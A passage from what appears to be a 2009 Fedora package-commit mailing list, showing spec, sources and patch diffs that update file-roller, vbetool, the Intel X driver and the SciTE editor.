 1 file changed, 3 insertions(+), 12 deletions(-)

--- NEW FILE button-images.patch ---
--- file-roller-2.28.0/src/gtk-utils.c	2009-09-21 18:34:49.000000000 -0400
+++ hacked/src/gtk-utils.c	2009-10-01 20:49:18.728625160 -0400
@@ -164,8 +164,6 @@
 	gboolean      text_is_stock;
 	GtkStockItem  stock_item;
 
-	button = gtk_button_new ();
-
 	if (gtk_stock_lookup (text, &stock_item)) {
 		label_text = stock_item.label;
 		text_is_stock = TRUE;
@@ -178,19 +176,12 @@
 		image = gtk_image_new_from_stock (text, GTK_ICON_SIZE_BUTTON);
 	else
 		image = gtk_image_new_from_stock (stock_id, GTK_ICON_SIZE_BUTTON);
-	label = gtk_label_new_with_mnemonic (label_text);
-	hbox = gtk_hbox_new (FALSE, 2);
-	align = gtk_alignment_new (0.5, 0.5, 0.0, 0.0);
+	button = gtk_button_new_with_mnemonic (label_text);
+	gtk_button_set_image (GTK_BUTTON (button), image);
 
 	GTK_WIDGET_SET_FLAGS (button, GTK_CAN_DEFAULT);
-	gtk_label_set_mnemonic_widget (GTK_LABEL (label), GTK_WIDGET (button));
-
-	gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 0);
-	gtk_box_pack_end (GTK_BOX (hbox), label, FALSE, FALSE, 0);
-	gtk_container_add (GTK_CONTAINER (button), align);
-	gtk_container_add (GTK_CONTAINER (align), hbox);
 
-	gtk_widget_show_all (button);
+	gtk_widget_show (button);
 
 	return button;
 }


Index: file-roller.spec
===================================================================
RCS file: /cvs/pkgs/rpms/file-roller/F-12/file-roller.spec,v
retrieving revision 1.156
retrieving revision 1.157
diff -u -p -r1.156 -r1.157
--- file-roller.spec	22 Sep 2009 00:51:25 -0000	1.156
+++ file-roller.spec	2 Oct 2009 00:58:13 -0000	1.157
@@ -11,12 +11,15 @@
 Summary:	Tool for viewing and creating archives
 Name:		file-roller
 Version:	2.28.0
-Release: 	1%{?dist}
+Release: 	2%{?dist}
 License:	GPLv2+
 Group:		Applications/Archiving
 URL:		http://download.gnome.org/sources/file-roller/
 Source:		http://download.gnome.org/sources/file-roller/2.28/file-roller-%{version}.tar.bz2
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=597058
+Patch0: button-images.patch
+
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: glib2-devel >= %{glib2_version}
 BuildRequires: pango-devel >= %{pango_version}
@@ -51,6 +54,7 @@ such as tar or zip files.
 
 %prep
 %setup -q
+%patch0 -p1 -b .button-images
 
 %build
 %configure --disable-scrollkeeper --disable-static
@@ -127,6 +131,9 @@ fi
 %{_datadir}/icons/hicolor/scalable/apps/file-roller.svg
 
 %changelog
+* Thu Oct  1 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-2
+- Respect button-images setting
+
 * Mon Sep 21 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-1
 - Update to 2.28.0
 



From airlied at fedoraproject.org  Fri Oct  2 01:05:10 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Fri,  2 Oct 2009 01:05:10 +0000 (UTC)
Subject: rpms/vbetool/F-12 .cvsignore, 1.5, 1.6 sources, 1.5,
	1.6 vbetool.spec, 1.16, 1.17
Message-ID: <20091002010511.A155F11C0261@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/vbetool/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6549

Modified Files:
	.cvsignore sources vbetool.spec 
Log Message:
* Fri Oct 02 2009 Dave Airlie <airlied at redhat.com> 1.2.2-1
- update to 1.2.2 - fixes infinte loops on s/r (#516694)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vbetool/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	5 Aug 2009 03:59:58 -0000	1.5
+++ .cvsignore	2 Oct 2009 01:05:05 -0000	1.6
@@ -1 +1 @@
-vbetool-1.2.1.tar.bz2
+vbetool-1.2.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vbetool/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	5 Aug 2009 03:59:58 -0000	1.5
+++ sources	2 Oct 2009 01:05:09 -0000	1.6
@@ -1 +1 @@
-6a94f1c69c348de65e14a4ad9acbf795  vbetool-1.2.1.tar.bz2
+6d7ffb0c059b1a0d187ca7201efc3a73  vbetool-1.2.2.tar.bz2


Index: vbetool.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vbetool/F-12/vbetool.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- vbetool.spec	5 Aug 2009 03:59:58 -0000	1.16
+++ vbetool.spec	2 Oct 2009 01:05:09 -0000	1.17
@@ -1,5 +1,5 @@
 Name:           vbetool
-Version:        1.2.1
+Version:        1.2.2
 Release:        1%{?dist}
 Summary:        Run real-mode video BIOS code to alter hardware state
 
@@ -52,6 +52,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_sysconfdir}/udev/rules.d/92-video-post.rules
 
 %changelog
+* Fri Oct 02 2009 Dave Airlie <airlied at redhat.com> 1.2.2-1
+- update to 1.2.2 - fixes infinte loops on s/r (#516694)
+
 * Wed Aug 05 2009 Dave Airlie <airlied at redhat.com> 1.2.1-1
 - rebase to 1.2.1 and install the udev rules
 



From krh at fedoraproject.org  Fri Oct  2 01:06:18 2009
From: krh at fedoraproject.org (=?utf-8?q?Kristian_H=C3=B8gsberg?=)
Date: Fri,  2 Oct 2009 01:06:18 +0000 (UTC)
Subject: rpms/xorg-x11-drv-intel/F-12 .cvsignore, 1.9, 1.10 sources, 1.10,
	1.11 xorg-x11-drv-intel.spec, 1.33, 1.34
Message-ID: <20091002010618.5FD4F11C043A@cvs1.fedora.phx.redhat.com>

Author: krh

Update of /cvs/pkgs/rpms/xorg-x11-drv-intel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7871

Modified Files:
	.cvsignore sources xorg-x11-drv-intel.spec 
Log Message:
* Thu Oct  1 2009 Kristian H?gsberg <krh at hinata> - 2.9.0-1
- Rebase to 2.9.0.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-intel/F-12/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	9 Sep 2009 14:30:33 -0000	1.9
+++ .cvsignore	2 Oct 2009 01:06:17 -0000	1.10
@@ -1,3 +1,2 @@
+xf86-video-intel-2.9.0.tar.bz2
 intel-gpu-tools-20090908.tar.bz2
-xf86-video-intel-20090908.tar.bz2
-xf86-video-intel-20090909.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-intel/F-12/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	9 Sep 2009 14:30:33 -0000	1.10
+++ sources	2 Oct 2009 01:06:17 -0000	1.11
@@ -1,2 +1,2 @@
+34ff2582993d64dddd62d0cb7b30d759  xf86-video-intel-2.9.0.tar.bz2
 d64507d329cff1228f8a88ec2e9f58cb  intel-gpu-tools-20090908.tar.bz2
-f225d5d72376e263366f45292813675f  xf86-video-intel-20090909.tar.bz2


Index: xorg-x11-drv-intel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-intel/F-12/xorg-x11-drv-intel.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- xorg-x11-drv-intel.spec	23 Sep 2009 23:32:26 -0000	1.33
+++ xorg-x11-drv-intel.spec	2 Oct 2009 01:06:17 -0000	1.34
@@ -3,19 +3,18 @@
 %define moduledir %(pkg-config xorg-server --variable=moduledir )
 %define driverdir	%{moduledir}/drivers
 %define gputoolsdate 20090908
-%define gitdate 20090909
 
 Summary:   Xorg X11 Intel video driver
 Name:      xorg-x11-drv-intel
-Version:   2.8.0
-Release:   16.%{gitdate}%{?dist}
+Version:   2.9.0
+Release:   1%{?dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X Hardware Support
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 #Source0:    http://xorg.freedesktop.org/archive/individual/driver/xf86-video-intel-%{version}.tar.bz2 
-Source0:    xf86-video-intel-%{gitdate}.tar.bz2
+Source0:    xf86-video-intel-%{version}.tar.bz2
 Source1:    make-intel-gpu-tools-snapshot.sh
 Source2:    intel.xinf
 Source3:    intel-gpu-tools-%{gputoolsdate}.tar.bz2
@@ -138,6 +137,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/intel_*.1*
 
 %changelog
+* Thu Oct  1 2009 Kristian H?gsberg <krh at hinata> - 2.9.0-1
+- Rebase to 2.9.0.
+
 * Thu Sep 24 2009 Dave Airlie <airlied at redhat.com> 2.8.0-16.20090909
 - Attempt to make -nr work again
 



From jorge at fedoraproject.org  Fri Oct  2 01:13:41 2009
From: jorge at fedoraproject.org (Jorge Torres)
Date: Fri,  2 Oct 2009 01:13:41 +0000 (UTC)
Subject: rpms/scite/devel .cvsignore, 1.6, 1.7 scite-use-htmlview.patch, 1.1,
	1.2 scite.spec, 1.9, 1.10 sources, 1.6, 1.7
Message-ID: <20091002011341.D8E2511C0261@cvs1.fedora.phx.redhat.com>

Author: jorge

Update of /cvs/pkgs/rpms/scite/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9686

Modified Files:
	.cvsignore scite-use-htmlview.patch scite.spec sources 
Log Message:
Update to 2.01


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/scite/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	4 Apr 2009 18:06:07 -0000	1.6
+++ .cvsignore	2 Oct 2009 01:13:38 -0000	1.7
@@ -1 +1 @@
-scite177.tgz
+scite201.tgz

scite-use-htmlview.patch:
 Embedded.properties    |    2 +-
 SciTEGlobal.properties |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

Index: scite-use-htmlview.patch
===================================================================
RCS file: /cvs/pkgs/rpms/scite/devel/scite-use-htmlview.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- scite-use-htmlview.patch	6 Jun 2006 04:40:29 -0000	1.1
+++ scite-use-htmlview.patch	2 Oct 2009 01:13:40 -0000	1.2
@@ -1,7 +1,7 @@
 diff -uNr scite.orig/src/Embedded.properties scite/src/Embedded.properties
---- scite.orig/src/Embedded.properties	2006-05-23 00:20:12.000000000 -0500
-+++ scite/src/Embedded.properties	2006-06-01 01:01:57.000000000 -0500
-@@ -80,7 +80,7 @@
+--- scite.orig/src/Embedded.properties	2009-07-01 04:56:09.000000000 -0500
++++ scite/src/Embedded.properties	2009-10-01 19:51:28.000000000 -0500
+@@ -87,7 +87,7 @@
  	command.scite.help.subsystem=2
  if PLAT_GTK
  	command.print.*=a2ps "$(FileNameExt)"
@@ -9,32 +9,11 @@ diff -uNr scite.orig/src/Embedded.proper
 +	command.scite.help=htmlview "file://$(SciteDefaultHome)/SciTEDoc.html"
  
  code.page=0
- 
-@@ -2876,7 +2876,7 @@
- 	command.go.$(file.patterns.web)="file://$(FilePath)"
- 	command.go.subsystem.$(file.patterns.web)=2
- if PLAT_GTK
--	command.go.$(file.patterns.web)=netscape "file://$(FilePath)"
-+	command.go.$(file.patterns.web)=htmlview "file://$(FilePath)"
- 
- command.go.$(file.patterns.php)=php -f "$(FileNameExt)"
- command.compile.$(file.patterns.php)=php -l "$(FileNameExt)"
-diff -uNr scite.orig/src/html.properties scite/src/html.properties
---- scite.orig/src/html.properties	2006-03-02 04:58:44.000000000 -0500
-+++ scite/src/html.properties	2006-06-01 01:02:10.000000000 -0500
-@@ -514,7 +514,7 @@
- 	command.go.$(file.patterns.web)="file://$(FilePath)"
- 	command.go.subsystem.$(file.patterns.web)=2
  if PLAT_GTK
--	command.go.$(file.patterns.web)=netscape "file://$(FilePath)"
-+	command.go.$(file.patterns.web)=htmlview "file://$(FilePath)"
- 
- command.go.$(file.patterns.php)=php -f "$(FileNameExt)"
- command.compile.$(file.patterns.php)=php -l "$(FileNameExt)"
 diff -uNr scite.orig/src/SciTEGlobal.properties scite/src/SciTEGlobal.properties
---- scite.orig/src/SciTEGlobal.properties	2006-05-20 21:54:53.000000000 -0500
-+++ scite/src/SciTEGlobal.properties	2006-06-01 01:02:21.000000000 -0500
-@@ -202,7 +202,7 @@
+--- scite.orig/src/SciTEGlobal.properties	2009-08-11 00:48:52.000000000 -0500
++++ scite/src/SciTEGlobal.properties	2009-10-01 19:52:08.000000000 -0500
+@@ -238,7 +238,7 @@
  	command.scite.help.subsystem=2
  if PLAT_GTK
  	command.print.*=a2ps "$(FileNameExt)"


Index: scite.spec
===================================================================
RCS file: /cvs/pkgs/rpms/scite/devel/scite.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- scite.spec	27 Jul 2009 03:58:32 -0000	1.9
+++ scite.spec	2 Oct 2009 01:13:40 -0000	1.10
@@ -1,12 +1,12 @@
 Name: scite 
-Version: 1.77
-Release: 2%{?dist}
+Version: 2.01
+Release: 1%{?dist}
 Summary: SCIntilla based GTK2 text editor
 License: MIT
 Group: Applications/Editors
 Url: http://www.scintilla.org/SciTE.html
 
-Source0: http://download.sourceforge.net/scintilla/scite177.tgz
+Source0: http://download.sourceforge.net/scintilla/scite201.tgz
 patch0: scintilla-makefile-flags.patch
 patch1: scite-makefile.patch
 patch2: scite-use-htmlview.patch
@@ -60,6 +60,9 @@ rm -rf %{buildroot}
 %{_datadir}/applications/*
 
 %changelog
+* Thu Oct 1 2009 Jorge Torres <jtorresh at gmail.com> 2.01-1
+- Update to 2.01
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.77-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/scite/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	4 Apr 2009 18:06:07 -0000	1.6
+++ sources	2 Oct 2009 01:13:40 -0000	1.7
@@ -1 +1 @@
-ba016919190c12cfb712e1f004df4187  scite177.tgz
+ef4b6b4d903c29e4ab511488a0d20f46  scite201.tgz



From jorge at fedoraproject.org  Fri Oct  2 01:26:45 2009
From: jorge at fedoraproject.org (Jorge Torres)
Date: Fri,  2 Oct 2009 01:26:45 +0000 (UTC)
Subject: rpms/scite/F-10 scite-use-htmlview.patch, 1.1, 1.2 scite.spec, 1.7,
	1.8
Message-ID: <20091002012645.9179111C0261@cvs1.fedora.phx.redhat.com>

Author: jorge

Update of /cvs/pkgs/rpms/scite/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13109

Modified Files:
	scite-use-htmlview.patch scite.spec 
Log Message:
Update to 2.01

scite-use-htmlview.patch:
 Embedded.properties    |    2 +-
 SciTEGlobal.properties |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

Index: scite-use-htmlview.patch
===================================================================
RCS file: /cvs/pkgs/rpms/scite/F-10/scite-use-htmlview.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- scite-use-htmlview.patch	6 Jun 2006 04:40:29 -0000	1.1
+++ scite-use-htmlview.patch	2 Oct 2009 01:26:41 -0000	1.2
@@ -1,7 +1,7 @@
 diff -uNr scite.orig/src/Embedded.properties scite/src/Embedded.properties
---- scite.orig/src/Embedded.properties	2006-05-23 00:20:12.000000000 -0500
-+++ scite/src/Embedded.properties	2006-06-01 01:01:57.000000000 -0500
-@@ -80,7 +80,7 @@
+--- scite.orig/src/Embedded.properties	2009-07-01 04:56:09.000000000 -0500
++++ scite/src/Embedded.properties	2009-10-01 19:51:28.000000000 -0500
+@@ -87,7 +87,7 @@
  	command.scite.help.subsystem=2
  if PLAT_GTK
  	command.print.*=a2ps "$(FileNameExt)"
@@ -9,32 +9,11 @@ diff -uNr scite.orig/src/Embedded.proper
 +	command.scite.help=htmlview "file://$(SciteDefaultHome)/SciTEDoc.html"
  
  code.page=0
- 
-@@ -2876,7 +2876,7 @@
- 	command.go.$(file.patterns.web)="file://$(FilePath)"
- 	command.go.subsystem.$(file.patterns.web)=2
- if PLAT_GTK
--	command.go.$(file.patterns.web)=netscape "file://$(FilePath)"
-+	command.go.$(file.patterns.web)=htmlview "file://$(FilePath)"
- 
- command.go.$(file.patterns.php)=php -f "$(FileNameExt)"
- command.compile.$(file.patterns.php)=php -l "$(FileNameExt)"
-diff -uNr scite.orig/src/html.properties scite/src/html.properties
---- scite.orig/src/html.properties	2006-03-02 04:58:44.000000000 -0500
-+++ scite/src/html.properties	2006-06-01 01:02:10.000000000 -0500
-@@ -514,7 +514,7 @@
- 	command.go.$(file.patterns.web)="file://$(FilePath)"
- 	command.go.subsystem.$(file.patterns.web)=2
  if PLAT_GTK
--	command.go.$(file.patterns.web)=netscape "file://$(FilePath)"
-+	command.go.$(file.patterns.web)=htmlview "file://$(FilePath)"
- 
- command.go.$(file.patterns.php)=php -f "$(FileNameExt)"
- command.compile.$(file.patterns.php)=php -l "$(FileNameExt)"
 diff -uNr scite.orig/src/SciTEGlobal.properties scite/src/SciTEGlobal.properties
---- scite.orig/src/SciTEGlobal.properties	2006-05-20 21:54:53.000000000 -0500
-+++ scite/src/SciTEGlobal.properties	2006-06-01 01:02:21.000000000 -0500
-@@ -202,7 +202,7 @@
+--- scite.orig/src/SciTEGlobal.properties	2009-08-11 00:48:52.000000000 -0500
++++ scite/src/SciTEGlobal.properties	2009-10-01 19:52:08.000000000 -0500
+@@ -238,7 +238,7 @@
  	command.scite.help.subsystem=2
  if PLAT_GTK
  	command.print.*=a2ps "$(FileNameExt)"


Index: scite.spec
===================================================================
RCS file: /cvs/pkgs/rpms/scite/F-10/scite.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- scite.spec	4 Apr 2009 19:21:54 -0000	1.7
+++ scite.spec	2 Oct 2009 01:26:42 -0000	1.8
@@ -1,12 +1,12 @@
 Name: scite 
-Version: 1.77
+Version: 2.01
 Release: 1%{?dist}
 Summary: SCIntilla based GTK2 text editor
 License: MIT
 Group: Applications/Editors
 Url: http://www.scintilla.org/SciTE.html
 
-Source0: http://download.sourceforge.net/scintilla/scite177.tgz
+Source0: http://download.sourceforge.net/scintilla/scite201.tgz
 patch0: scintilla-makefile-flags.patch
 patch1: scite-makefile.patch
 patch2: scite-use-htmlview.patch
@@ -60,9 +60,18 @@ rm -rf %{buildroot}
 %{_datadir}/applications/*
 
 %changelog
+* Thu Oct 1 2009 Jorge Torres <jtorresh at gmail.com> 2.01-1
+- Update to 2.01
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.77-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sat Apr 4 2009 Jorge Torres <jtorresh at gmail.com> 1.77-1
 - Upgrade to 1.77
 
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.74-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Tue Feb 19 2008 Fedora Release Engineering <rel-eng at fedoraproject.org> - 1.74-3
 - Autorebuild for GCC 4.3
 



From jorge at fedoraproject.org  Fri Oct  2 01:28:39 2009
From: jorge at fedoraproject.org (Jorge Torres)
Date: Fri,  2 Oct 2009 01:28:39 +0000 (UTC)
Subject: rpms/scite/F-10 .cvsignore,1.6,1.7 sources,1.6,1.7
Message-ID: <20091002012839.E181711C0261@cvs1.fedora.phx.redhat.com>

Author: jorge

Update of /cvs/pkgs/rpms/scite/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14156

Modified Files:
	.cvsignore sources 
Log Message:



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/scite/F-10/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	4 Apr 2009 19:21:54 -0000	1.6
+++ .cvsignore	2 Oct 2009 01:28:38 -0000	1.7
@@ -1 +1 @@
-scite177.tgz
+scite201.tgz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/scite/F-10/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	4 Apr 2009 19:21:54 -0000	1.6
+++ sources	2 Oct 2009 01:28:39 -0000	1.7
@@ -1 +1 @@
-ba016919190c12cfb712e1f004df4187  scite177.tgz
+ef4b6b4d903c29e4ab511488a0d20f46  scite201.tgz



From jorge at fedoraproject.org  Fri Oct  2 01:31:03 2009
From: jorge at fedoraproject.org (Jorge Torres)
Date: Fri,  2 Oct 2009 01:31:03 +0000 (UTC)
Subject: rpms/scite/F-11 .cvsignore, 1.6, 1.7 scite-use-htmlview.patch, 1.1, 
	1.2 scite.spec, 1.8, 1.9 sources, 1.6, 1.7
Message-ID: <20091002013103.3241111C0261@cvs1.fedora.phx.redhat.com>

Author: jorge

Update of /cvs/pkgs/rpms/scite/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15258

Modified Files:
	.cvsignore scite-use-htmlview.patch scite.spec sources 
Log Message:
Update to 0.0.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/scite/F-11/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	4 Apr 2009 18:06:07 -0000	1.6
+++ .cvsignore	2 Oct 2009 01:31:02 -0000	1.7
@@ -1 +1 @@
-scite177.tgz
+scite201.tgz

scite-use-htmlview.patch:
 Embedded.properties    |    2 +-
 SciTEGlobal.properties |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

Index: scite-use-htmlview.patch
===================================================================
RCS file: /cvs/pkgs/rpms/scite/F-11/scite-use-htmlview.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- scite-use-htmlview.patch	6 Jun 2006 04:40:29 -0000	1.1
+++ scite-use-htmlview.patch	2 Oct 2009 01:31:02 -0000	1.2
@@ -1,7 +1,7 @@
 diff -uNr scite.orig/src/Embedded.properties scite/src/Embedded.properties
---- scite.orig/src/Embedded.properties	2006-05-23 00:20:12.000000000 -0500
-+++ scite/src/Embedded.properties	2006-06-01 01:01:57.000000000 -0500
-@@ -80,7 +80,7 @@
+--- scite.orig/src/Embedded.properties	2009-07-01 04:56:09.000000000 -0500
++++ scite/src/Embedded.properties	2009-10-01 19:51:28.000000000 -0500
+@@ -87,7 +87,7 @@
  	command.scite.help.subsystem=2
  if PLAT_GTK
  	command.print.*=a2ps "$(FileNameExt)"
@@ -9,32 +9,11 @@ diff -uNr scite.orig/src/Embedded.proper
 +	command.scite.help=htmlview "file://$(SciteDefaultHome)/SciTEDoc.html"
  
  code.page=0
- 
-@@ -2876,7 +2876,7 @@
- 	command.go.$(file.patterns.web)="file://$(FilePath)"
- 	command.go.subsystem.$(file.patterns.web)=2
- if PLAT_GTK
--	command.go.$(file.patterns.web)=netscape "file://$(FilePath)"
-+	command.go.$(file.patterns.web)=htmlview "file://$(FilePath)"
- 
- command.go.$(file.patterns.php)=php -f "$(FileNameExt)"
- command.compile.$(file.patterns.php)=php -l "$(FileNameExt)"
-diff -uNr scite.orig/src/html.properties scite/src/html.properties
---- scite.orig/src/html.properties	2006-03-02 04:58:44.000000000 -0500
-+++ scite/src/html.properties	2006-06-01 01:02:10.000000000 -0500
-@@ -514,7 +514,7 @@
- 	command.go.$(file.patterns.web)="file://$(FilePath)"
- 	command.go.subsystem.$(file.patterns.web)=2
  if PLAT_GTK
--	command.go.$(file.patterns.web)=netscape "file://$(FilePath)"
-+	command.go.$(file.patterns.web)=htmlview "file://$(FilePath)"
- 
- command.go.$(file.patterns.php)=php -f "$(FileNameExt)"
- command.compile.$(file.patterns.php)=php -l "$(FileNameExt)"
 diff -uNr scite.orig/src/SciTEGlobal.properties scite/src/SciTEGlobal.properties
---- scite.orig/src/SciTEGlobal.properties	2006-05-20 21:54:53.000000000 -0500
-+++ scite/src/SciTEGlobal.properties	2006-06-01 01:02:21.000000000 -0500
-@@ -202,7 +202,7 @@
+--- scite.orig/src/SciTEGlobal.properties	2009-08-11 00:48:52.000000000 -0500
++++ scite/src/SciTEGlobal.properties	2009-10-01 19:52:08.000000000 -0500
+@@ -238,7 +238,7 @@
  	command.scite.help.subsystem=2
  if PLAT_GTK
  	command.print.*=a2ps "$(FileNameExt)"


Index: scite.spec
===================================================================
RCS file: /cvs/pkgs/rpms/scite/F-11/scite.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- scite.spec	4 Apr 2009 18:06:07 -0000	1.8
+++ scite.spec	2 Oct 2009 01:31:02 -0000	1.9
@@ -1,12 +1,12 @@
 Name: scite 
-Version: 1.77
+Version: 2.01
 Release: 1%{?dist}
 Summary: SCIntilla based GTK2 text editor
 License: MIT
 Group: Applications/Editors
 Url: http://www.scintilla.org/SciTE.html
 
-Source0: http://download.sourceforge.net/scintilla/scite177.tgz
+Source0: http://download.sourceforge.net/scintilla/scite201.tgz
 patch0: scintilla-makefile-flags.patch
 patch1: scite-makefile.patch
 patch2: scite-use-htmlview.patch
@@ -60,6 +60,12 @@ rm -rf %{buildroot}
 %{_datadir}/applications/*
 
 %changelog
+* Thu Oct 1 2009 Jorge Torres <jtorresh at gmail.com> 2.01-1
+- Update to 2.01
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.77-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sat Apr 4 2009 Jorge Torres <jtorresh at gmail.com> 1.77-1
 - Upgrade to 1.77
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/scite/F-11/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	4 Apr 2009 18:06:07 -0000	1.6
+++ sources	2 Oct 2009 01:31:02 -0000	1.7
@@ -1 +1 @@
-ba016919190c12cfb712e1f004df4187  scite177.tgz
+ef4b6b4d903c29e4ab511488a0d20f46  scite201.tgz



From jorge at fedoraproject.org  Fri Oct  2 01:34:15 2009
From: jorge at fedoraproject.org (Jorge Torres)
Date: Fri,  2 Oct 2009 01:34:15 +0000 (UTC)
Subject: rpms/scite/F-12 .cvsignore, 1.6, 1.7 scite-use-htmlview.patch, 1.1, 
	1.2 scite.spec, 1.9, 1.10 sources, 1.6, 1.7
Message-ID: <20091002013415.C016211C0261@cvs1.fedora.phx.redhat.com>

Author: jorge

Update of /cvs/pkgs/rpms/scite/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15923

Modified Files:
	.cvsignore scite-use-htmlview.patch scite.spec sources 
Log Message:
Update to 2.01


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/scite/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	4 Apr 2009 18:06:07 -0000	1.6
+++ .cvsignore	2 Oct 2009 01:34:12 -0000	1.7
@@ -1 +1 @@
-scite177.tgz
+scite201.tgz

scite-use-htmlview.patch:
 Embedded.properties    |    2 +-
 SciTEGlobal.properties |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

Index: scite-use-htmlview.patch
===================================================================
RCS file: /cvs/pkgs/rpms/scite/F-12/scite-use-htmlview.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- scite-use-htmlview.patch	6 Jun 2006 04:40:29 -0000	1.1
+++ scite-use-htmlview.patch	2 Oct 2009 01:34:12 -0000	1.2
@@ -1,7 +1,7 @@
 diff -uNr scite.orig/src/Embedded.properties scite/src/Embedded.properties
---- scite.orig/src/Embedded.properties	2006-05-23 00:20:12.000000000 -0500
-+++ scite/src/Embedded.properties	2006-06-01 01:01:57.000000000 -0500
-@@ -80,7 +80,7 @@
+--- scite.orig/src/Embedded.properties	2009-07-01 04:56:09.000000000 -0500
++++ scite/src/Embedded.properties	2009-10-01 19:51:28.000000000 -0500
+@@ -87,7 +87,7 @@
  	command.scite.help.subsystem=2
  if PLAT_GTK
  	command.print.*=a2ps "$(FileNameExt)"
@@ -9,32 +9,11 @@ diff -uNr scite.orig/src/Embedded.proper
 +	command.scite.help=htmlview "file://$(SciteDefaultHome)/SciTEDoc.html"
  
  code.page=0
- 
-@@ -2876,7 +2876,7 @@
- 	command.go.$(file.patterns.web)="file://$(FilePath)"
- 	command.go.subsystem.$(file.patterns.web)=2
- if PLAT_GTK
--	command.go.$(file.patterns.web)=netscape "file://$(FilePath)"
-+	command.go.$(file.patterns.web)=htmlview "file://$(FilePath)"
- 
- command.go.$(file.patterns.php)=php -f "$(FileNameExt)"
- command.compile.$(file.patterns.php)=php -l "$(FileNameExt)"
-diff -uNr scite.orig/src/html.properties scite/src/html.properties
---- scite.orig/src/html.properties	2006-03-02 04:58:44.000000000 -0500
-+++ scite/src/html.properties	2006-06-01 01:02:10.000000000 -0500
-@@ -514,7 +514,7 @@
- 	command.go.$(file.patterns.web)="file://$(FilePath)"
- 	command.go.subsystem.$(file.patterns.web)=2
  if PLAT_GTK
--	command.go.$(file.patterns.web)=netscape "file://$(FilePath)"
